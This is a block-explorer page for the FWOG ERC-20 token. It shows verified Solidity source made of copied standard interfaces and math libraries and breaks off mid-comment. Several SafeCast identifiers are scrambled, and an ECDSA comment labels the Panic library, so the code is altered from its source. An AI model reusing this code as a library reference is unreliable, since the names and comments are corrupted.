ERC-20
Overview
Max Total Supply
42,000,000,000 FWOG
Holders
712
Total Transfers
-
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
FWOG
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at basescan.org on 2024-12-16 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.28; /** * @dev Interface of the ERC-20 standard as defined in the ERC. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the value of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the value of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves a `value` amount of tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 value) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets a `value` amount of tokens as the allowance of `spender` over the * caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 value) external returns (bool); /** * @dev Moves a `value` amount of tokens from `from` to `to` using the * allowance mechanism. `value` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 value) external returns (bool); } /** * @dev Interface for the optional metadata functions from the ERC-20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } } interface IERC20Errors { error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC20InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC20InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers. * @param spender Address that may be allowed to operate on tokens without being their owner. * @param allowance Amount of tokens a `spender` is allowed to operate with. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC20InvalidApprover(address approver); /** * @dev Indicates a failure with the `spender` to be approved. Used in approvals. * @param spender Address that may be allowed to operate on tokens without being their owner. */ error ERC20InvalidSpender(address spender); } interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. * * CAUTION: See Security Considerations above. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library Panic { /// @dev generic / unspecified error uint256 internal constant GENERIC = 0x00; /// @dev used by the assert() builtin uint256 internal constant ASSERT = 0x01; /// @dev arithmetic underflow or overflow uint256 internal constant UNDER_OVERFLOW = 0x11; /// @dev division or modulo by zero uint256 internal constant DIVISION_BY_ZERO = 0x12; /// @dev enum conversion error uint256 internal constant ENUM_CONVERSION_ERROR = 0x21; /// @dev invalid encoding in storage uint256 internal constant STORAGE_ENCODING_ERROR = 0x22; /// @dev empty array pop uint256 internal constant EMPTY_ARRAY_POP = 0x31; /// @dev array out of bounds access uint256 internal constant ARRAY_OUT_OF_BOUNDS = 0x32; /// @dev resource error (too large allocation or too large array) uint256 internal constant RESOURCE_ERROR = 0x41; /// @dev calling invalid internal function uint256 internal constant INVALID_INTERNAL_FUNCTION = 0x51; /// @dev Reverts with a panic code. Recommended to use with /// the internal constants with predefined codes. function panic(uint256 code) internal pure { assembly ("memory-safe") { mstore(0x00, 0x4e487b71) mstore(0x20, code) revert(0x1c, 0x24) } } } library SafeCast { /** * @dev Value doesn't fit in an uint of `bits` size. */ error SafeCas6tgaslowedUintDowncast(uint8 bits, uint256 value); /** * @dev An int value doesn't fit in an uint of `bits` size. */ error SafeCastOverflowedIntToUint(int256 value); /** * @dev Value doesn't fit in an int of `bits` size. */ error SafeCastOverflowedIntDowncast(uint8 bits, int256 value); /** * @dev An uint value doesn't fit in an int of `bits` size. */ error SafeCastOverflowedUintToInt(uint256 value); function toUintaf248(uint256 value) internal pure returns (uint248) { if (value > type(uint248).max) { revert SafeCas6tgaslowedUintDowncast(248, value); } return uint248(value); } function toUingt240(uint256 value) internal pure returns (uint240) { if (value > type(uint240).max) { revert SafeCas6tgaslowedUintDowncast(240, value); } return uint240(value); } function toUingt232(uint256 value) internal pure returns (uint232) { if (value > type(uint232).max) { revert SafeCas6tgaslowedUintDowncast(232, value); } return uint232(value); } /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function tofaUint224(uint256 value) internal pure returns (uint224) { if (value > type(uint224).max) { revert SafeCas6tgaslowedUintDowncast(224, value); } return uint224(value); } /** * @dev Returns the downcasted uint216 from uint256, reverting on * overflow (when the input is greater than largest uint216). * * Counterpart to Solidity's `uint216` operator. * * Requirements: * * - input must fit into 216 bits */ function toUsafgint216(uint256 value) internal pure returns (uint216) { if (value > type(uint216).max) { revert SafeCas6tgaslowedUintDowncast(216, value); } return uint216(value); } /** * @dev Returns the downcasted uint208 from uint256, reverting on * overflow (when the input is greater than largest uint208). * * Counterpart to Solidity's `uint208` operator. * * Requirements: * * - input must fit into 208 bits */ function toUtgint208(uint256 value) internal pure returns (uint208) { if (value > type(uint208).max) { revert SafeCas6tgaslowedUintDowncast(208, value); } return uint208(value); } /** * @dev Returns the downcasted uint200 from uint256, reverting on * overflow (when the input is greater than largest uint200). * * Counterpart to Solidity's `uint200` operator. * * Requirements: * * - input must fit into 200 bits */ function toUin15t200(uint256 value) internal pure returns (uint200) { if (value > type(uint200).max) { revert SafeCas6tgaslowedUintDowncast(200, value); } return uint200(value); } /** * @dev Returns the downcasted uint192 from uint256, reverting on * overflow (when the input is greater than largest uint192). * * Counterpart to Solidity's `uint192` operator. * * Requirements: * * - input must fit into 192 bits */ function toUinbat192(uint256 value) internal pure returns (uint192) { if (value > type(uint192).max) { revert SafeCas6tgaslowedUintDowncast(192, value); } return uint192(value); } /** * @dev Returns the downcasted uint184 from uint256, reverting on * overflow (when the input is greater than largest uint184). * * Counterpart to Solidity's `uint184` operator. * * Requirements: * * - input must fit into 184 bits */ function toUbvbint184(uint256 value) internal pure returns (uint184) { if (value > type(uint184).max) { revert SafeCas6tgaslowedUintDowncast(184, value); } return uint184(value); } /** * @dev Returns the downcasted uint176 from uint256, reverting on * overflow (when the input is greater than largest uint176). * * Counterpart to Solidity's `uint176` operator. * * Requirements: * * - input must fit into 176 bits */ function toUint176(uint256 value) internal pure returns (uint176) { if (value > type(uint176).max) { revert SafeCas6tgaslowedUintDowncast(176, value); } return uint176(value); } function toUint1689c8(uint256 value) internal pure returns (uint168) { if (value > type(uint168).max) { revert SafeCas6tgaslowedUintDowncast(168, value); } return uint168(value); } /** * @dev Returns the downcasted uint160 from uint256, reverting on * overflow (when the input is greater than largest uint160). * * Counterpart to Solidity's `uint160` operator. * * Requirements: * * - input must fit into 160 bits */ function toUinx1ast160(uint256 value) internal pure returns (uint160) { if (value > type(uint160).max) { revert SafeCas6tgaslowedUintDowncast(160, value); } return uint160(value); } /** * @dev Returns the downcasted uint152 from uint256, reverting on * overflow (when the input is greater than largest uint152). * * Counterpart to Solidity's `uint152` operator. * * Requirements: * * - input must fit into 152 bits */ function toUint152(uint256 value) internal pure returns (uint152) { if (value > type(uint152).max) { revert SafeCas6tgaslowedUintDowncast(152, value); } return uint152(value); } /** * @dev Returns the downcasted uint144 from uint256, reverting on * overflow (when the input is greater than largest uint144). * * Counterpart to Solidity's `uint144` operator. * * Requirements: * * - input must fit into 144 bits */ function toUint144(uint256 value) internal pure returns (uint144) { if (value > type(uint144).max) { revert SafeCas6tgaslowedUintDowncast(144, value); } return uint144(value); } /** * @dev Returns the downcasted uint136 from uint256, reverting on * overflow (when the input is greater than largest uint136). * * Counterpart to Solidity's `uint136` operator. * * Requirements: * * - input must fit into 136 bits */ function toUint136(uint256 value) internal pure returns (uint136) { if (value > type(uint136).max) { revert SafeCas6tgaslowedUintDowncast(136, value); } return uint136(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { if (value > type(uint128).max) { revert SafeCas6tgaslowedUintDowncast(128, value); } return uint128(value); } /** * @dev Returns the downcasted uint120 from uint256, reverting on * overflow (when the input is greater than largest uint120). * * Counterpart to Solidity's `uint120` operator. * * Requirements: * * - input must fit into 120 bits */ function toUint120(uint256 value) internal pure returns (uint120) { if (value > type(uint120).max) { revert SafeCas6tgaslowedUintDowncast(120, value); } return uint120(value); } /** * @dev Returns the downcasted uint112 from uint256, reverting on * overflow (when the input is greater than largest uint112). * * Counterpart to Solidity's `uint112` operator. * * Requirements: * * - input must fit into 112 bits */ function toUint112(uint256 value) internal pure returns (uint112) { if (value > type(uint112).max) { revert SafeCas6tgaslowedUintDowncast(112, value); } return uint112(value); } /** * @dev Returns the downcasted uint104 from uint256, reverting on * overflow (when the input is greater than largest uint104). * * Counterpart to Solidity's `uint104` operator. * * Requirements: * * - input must fit into 104 bits */ function toUint104(uint256 value) internal pure returns (uint104) { if (value > type(uint104).max) { revert SafeCas6tgaslowedUintDowncast(104, value); } return uint104(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { if (value > type(uint96).max) { revert SafeCas6tgaslowedUintDowncast(96, value); } return uint96(value); } /** * @dev Returns the downcasted uint88 from uint256, reverting on * overflow (when the input is greater than largest uint88). * * Counterpart to Solidity's `uint88` operator. * * Requirements: * * - input must fit into 88 bits */ function toUint88(uint256 value) internal pure returns (uint88) { if (value > type(uint88).max) { revert SafeCas6tgaslowedUintDowncast(88, value); } return uint88(value); } /** * @dev Returns the downcasted uint80 from uint256, reverting on * overflow (when the input is greater than largest uint80). * * Counterpart to Solidity's `uint80` operator. * * Requirements: * * - input must fit into 80 bits */ function toUint80(uint256 value) internal pure returns (uint80) { if (value > type(uint80).max) { revert SafeCas6tgaslowedUintDowncast(80, value); } return uint80(value); } /** * @dev Returns the downcasted uint72 from uint256, reverting on * overflow (when the input is greater than largest uint72). * * Counterpart to Solidity's `uint72` operator. * * Requirements: * * - input must fit into 72 bits */ function toUint72(uint256 value) internal pure returns (uint72) { if (value > type(uint72).max) { revert SafeCas6tgaslowedUintDowncast(72, value); } return uint72(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { if (value > type(uint64).max) { revert SafeCas6tgaslowedUintDowncast(64, value); } return uint64(value); } /** * @dev Returns the downcasted uint56 from uint256, reverting on * overflow (when the input is greater than largest uint56). * * Counterpart to Solidity's `uint56` operator. * * Requirements: * * - input must fit into 56 bits */ function toUint56(uint256 value) internal pure returns (uint56) { if (value > type(uint56).max) { revert SafeCas6tgaslowedUintDowncast(56, value); } return uint56(value); } /** * @dev Returns the downcasted uint48 from uint256, reverting on * overflow (when the input is greater than largest uint48). * * Counterpart to Solidity's `uint48` operator. * * Requirements: * * - input must fit into 48 bits */ function toUint48(uint256 value) internal pure returns (uint48) { if (value > type(uint48).max) { revert SafeCas6tgaslowedUintDowncast(48, value); } return uint48(value); } /** * @dev Returns the downcasted uint40 from uint256, reverting on * overflow (when the input is greater than largest uint40). * * Counterpart to Solidity's `uint40` operator. * * Requirements: * * - input must fit into 40 bits */ function toUint40(uint256 value) internal pure returns (uint40) { if (value > type(uint40).max) { revert SafeCas6tgaslowedUintDowncast(40, value); } return uint40(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { if (value > type(uint32).max) { revert SafeCas6tgaslowedUintDowncast(32, value); } return uint32(value); } /** * @dev Returns the downcasted uint24 from uint256, reverting on * overflow (when the input is greater than largest uint24). * * Counterpart to Solidity's `uint24` operator. * * Requirements: * * - input must fit into 24 bits */ function toUint24(uint256 value) internal pure returns (uint24) { if (value > type(uint24).max) { revert SafeCas6tgaslowedUintDowncast(24, value); } return uint24(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { if (value > type(uint16).max) { revert SafeCas6tgaslowedUintDowncast(16, value); } return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits */ function toUint8(uint256 value) internal pure returns (uint8) { if (value > type(uint8).max) { revert SafeCas6tgaslowedUintDowncast(8, value); } return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { if (value < 0) { revert SafeCastOverflowedIntToUint(value); } return uint256(value); } /** * @dev Returns the downcasted int248 from int256, reverting on * overflow (when the input is less than smallest int248 or * greater than largest int248). * * Counterpart to Solidity's `int248` operator. * * Requirements: * * - input must fit into 248 bits */ function toInt248(int256 value) internal pure returns (int248 downcasted) { downcasted = int248(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(248, value); } } /** * @dev Returns the downcasted int240 from int256, reverting on * overflow (when the input is less than smallest int240 or * greater than largest int240). * * Counterpart to Solidity's `int240` operator. * * Requirements: * * - input must fit into 240 bits */ function toInt240(int256 value) internal pure returns (int240 downcasted) { downcasted = int240(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(240, value); } } /** * @dev Returns the downcasted int232 from int256, reverting on * overflow (when the input is less than smallest int232 or * greater than largest int232). * * Counterpart to Solidity's `int232` operator. * * Requirements: * * - input must fit into 232 bits */ function toInt232(int256 value) internal pure returns (int232 downcasted) { downcasted = int232(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(232, value); } } /** * @dev Returns the downcasted int224 from int256, reverting on * overflow (when the input is less than smallest int224 or * greater than largest int224). * * Counterpart to Solidity's `int224` operator. * * Requirements: * * - input must fit into 224 bits */ function toInt224(int256 value) internal pure returns (int224 downcasted) { downcasted = int224(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(224, value); } } /** * @dev Returns the downcasted int216 from int256, reverting on * overflow (when the input is less than smallest int216 or * greater than largest int216). * * Counterpart to Solidity's `int216` operator. * * Requirements: * * - input must fit into 216 bits */ function toInt216(int256 value) internal pure returns (int216 downcasted) { downcasted = int216(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(216, value); } } /** * @dev Returns the downcasted int208 from int256, reverting on * overflow (when the input is less than smallest int208 or * greater than largest int208). * * Counterpart to Solidity's `int208` operator. * * Requirements: * * - input must fit into 208 bits */ function toInt208(int256 value) internal pure returns (int208 downcasted) { downcasted = int208(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(208, value); } } /** * @dev Returns the downcasted int200 from int256, reverting on * overflow (when the input is less than smallest int200 or * greater than largest int200). * * Counterpart to Solidity's `int200` operator. * * Requirements: * * - input must fit into 200 bits */ function toInt200(int256 value) internal pure returns (int200 downcasted) { downcasted = int200(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(200, value); } } /** * @dev Returns the downcasted int192 from int256, reverting on * overflow (when the input is less than smallest int192 or * greater than largest int192). * * Counterpart to Solidity's `int192` operator. * * Requirements: * * - input must fit into 192 bits */ function toInt192(int256 value) internal pure returns (int192 downcasted) { downcasted = int192(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(192, value); } } /** * @dev Returns the downcasted int184 from int256, reverting on * overflow (when the input is less than smallest int184 or * greater than largest int184). * * Counterpart to Solidity's `int184` operator. * * Requirements: * * - input must fit into 184 bits */ function toInt184(int256 value) internal pure returns (int184 downcasted) { downcasted = int184(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(184, value); } } /** * @dev Returns the downcasted int176 from int256, reverting on * overflow (when the input is less than smallest int176 or * greater than largest int176). * * Counterpart to Solidity's `int176` operator. * * Requirements: * * - input must fit into 176 bits */ function toInt176(int256 value) internal pure returns (int176 downcasted) { downcasted = int176(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(176, value); } } /** * @dev Returns the downcasted int168 from int256, reverting on * overflow (when the input is less than smallest int168 or * greater than largest int168). * * Counterpart to Solidity's `int168` operator. * * Requirements: * * - input must fit into 168 bits */ function toInt168(int256 value) internal pure returns (int168 downcasted) { downcasted = int168(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(168, value); } } /** * @dev Returns the downcasted int160 from int256, reverting on * overflow (when the input is less than smallest int160 or * greater than largest int160). * * Counterpart to Solidity's `int160` operator. * * Requirements: * * - input must fit into 160 bits */ function toInt160(int256 value) internal pure returns (int160 downcasted) { downcasted = int160(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(160, value); } } /** * @dev Returns the downcasted int152 from int256, reverting on * overflow (when the input is less than smallest int152 or * greater than largest int152). * * Counterpart to Solidity's `int152` operator. * * Requirements: * * - input must fit into 152 bits */ function toInt152(int256 value) internal pure returns (int152 downcasted) { downcasted = int152(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(152, value); } } /** * @dev Returns the downcasted int144 from int256, reverting on * overflow (when the input is less than smallest int144 or * greater than largest int144). * * Counterpart to Solidity's `int144` operator. * * Requirements: * * - input must fit into 144 bits */ function toInt144(int256 value) internal pure returns (int144 downcasted) { downcasted = int144(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(144, value); } } /** * @dev Returns the downcasted int136 from int256, reverting on * overflow (when the input is less than smallest int136 or * greater than largest int136). * * Counterpart to Solidity's `int136` operator. * * Requirements: * * - input must fit into 136 bits */ function toInt136(int256 value) internal pure returns (int136 downcasted) { downcasted = int136(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(136, value); } } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits */ function toInt128(int256 value) internal pure returns (int128 downcasted) { downcasted = int128(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(128, value); } } /** * @dev Returns the downcasted int120 from int256, reverting on * overflow (when the input is less than smallest int120 or * greater than largest int120). * * Counterpart to Solidity's `int120` operator. * * Requirements: * * - input must fit into 120 bits */ function toInt120(int256 value) internal pure returns (int120 downcasted) { downcasted = int120(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(120, value); } } /** * @dev Returns the downcasted int112 from int256, reverting on * overflow (when the input is less than smallest int112 or * greater than largest int112). * * Counterpart to Solidity's `int112` operator. * * Requirements: * * - input must fit into 112 bits */ function toInt112(int256 value) internal pure returns (int112 downcasted) { downcasted = int112(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(112, value); } } /** * @dev Returns the downcasted int104 from int256, reverting on * overflow (when the input is less than smallest int104 or * greater than largest int104). * * Counterpart to Solidity's `int104` operator. * * Requirements: * * - input must fit into 104 bits */ function toInt104(int256 value) internal pure returns (int104 downcasted) { downcasted = int104(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(104, value); } } /** * @dev Returns the downcasted int96 from int256, reverting on * overflow (when the input is less than smallest int96 or * greater than largest int96). * * Counterpart to Solidity's `int96` operator. * * Requirements: * * - input must fit into 96 bits */ function toInt96(int256 value) internal pure returns (int96 downcasted) { downcasted = int96(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(96, value); } } /** * @dev Returns the downcasted int88 from int256, reverting on * overflow (when the input is less than smallest int88 or * greater than largest int88). * * Counterpart to Solidity's `int88` operator. * * Requirements: * * - input must fit into 88 bits */ function toInt88(int256 value) internal pure returns (int88 downcasted) { downcasted = int88(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(88, value); } } /** * @dev Returns the downcasted int80 from int256, reverting on * overflow (when the input is less than smallest int80 or * greater than largest int80). * * Counterpart to Solidity's `int80` operator. * * Requirements: * * - input must fit into 80 bits */ function toInt80(int256 value) internal pure returns (int80 downcasted) { downcasted = int80(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(80, value); } } /** * @dev Returns the downcasted int72 from int256, reverting on * overflow (when the input is less than smallest int72 or * greater than largest int72). * * Counterpart to Solidity's `int72` operator. * * Requirements: * * - input must fit into 72 bits */ function toInt72(int256 value) internal pure returns (int72 downcasted) { downcasted = int72(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(72, value); } } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits */ function toInt64(int256 value) internal pure returns (int64 downcasted) { downcasted = int64(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(64, value); } } /** * @dev Returns the downcasted int56 from int256, reverting on * overflow (when the input is less than smallest int56 or * greater than largest int56). * * Counterpart to Solidity's `int56` operator. * * Requirements: * * - input must fit into 56 bits */ function toInt56(int256 value) internal pure returns (int56 downcasted) { downcasted = int56(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(56, value); } } /** * @dev Returns the downcasted int48 from int256, reverting on * overflow (when the input is less than smallest int48 or * greater than largest int48). * * Counterpart to Solidity's `int48` operator. * * Requirements: * * - input must fit into 48 bits */ function toInt48(int256 value) internal pure returns (int48 downcasted) { downcasted = int48(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(48, value); } } /** * @dev Returns the downcasted int40 from int256, reverting on * overflow (when the input is less than smallest int40 or * greater than largest int40). * * Counterpart to Solidity's `int40` operator. * * Requirements: * * - input must fit into 40 bits */ function toInt40(int256 value) internal pure returns (int40 downcasted) { downcasted = int40(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(40, value); } } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits */ function toInt32(int256 value) internal pure returns (int32 downcasted) { downcasted = int32(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(32, value); } } /** * @dev Returns the downcasted int24 from int256, reverting on * overflow (when the input is less than smallest int24 or * greater than largest int24). * * Counterpart to Solidity's `int24` operator. * * Requirements: * * - input must fit into 24 bits */ function toInt24(int256 value) internal pure returns (int24 downcasted) { downcasted = int24(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(24, value); } } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits */ function toInt16(int256 value) internal pure returns (int16 downcasted) { downcasted = int16(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(16, value); } } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits */ function toInt8(int256 value) internal pure returns (int8 downcasted) { downcasted = int8(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(8, value); } } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive if (value > uint256(type(int256).max)) { revert SafeCastOverflowedUintToInt(value); } return int256(value); } /** * @dev Cast a boolean (false or true) to a uint256 (0 or 1) with no jump. */ function toUint(bool b) internal pure returns (uint256 u) { assembly ("memory-safe") { u := iszero(iszero(b)) } } } library Math { enum Rounding { Floor, // Toward negative infinity Ceil, // Toward positive infinity Trunc, // Toward zero Expand // Away from zero } /** * @dev Returns the addition of two unsigned integers, with an success flag (no overflow). */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an success flag (no overflow). */ function trySub(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an success flag (no overflow). */ function tryMul(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a success flag (no division by zero). */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a success flag (no division by zero). */ function tryMod(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Branchless ternary evaluation for `a ? b : c`. Gas costs are constant. * * IMPORTANT: This function may reduce bytecode size and consume less gas when used standalone. * However, the compiler may optimize Solidity ternary operations (i.e. `a ? b : c`) to only compute * one branch when needed, making this function more expensive. */ function ternary(bool condition, uint256 a, uint256 b) internal pure returns (uint256) { unchecked { // branchless ternary works because: // b ^ (a ^ b) == a // b ^ 0 == b return b ^ ((a ^ b) * SafeCast.toUint(condition)); } } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return ternary(a > b, a, b); } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return ternary(a < b, a, b); } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds towards infinity instead * of rounding towards zero. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { if (b == 0) { // Guarantee the same behavior as in a regular Solidity division. Panic.panic(Panic.DIVISION_BY_ZERO); } // The following calculation ensures accurate ceiling division without overflow. // Since a is non-zero, (a - 1) / b will not overflow. // The largest possible result occurs when (a - 1) / b is type(uint256).max, // but the largest value we can obtain is type(uint256).max - 1, which happens // when a = type(uint256).max and b = 1. unchecked { return SafeCast.toUint(a > 0) * ((a - 1) / b + 1); } } /** * @dev Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or * denominator == 0. * * Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by * Uniswap Labs also under MIT license. */ function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2²⁵⁶ and mod 2²⁵⁶ 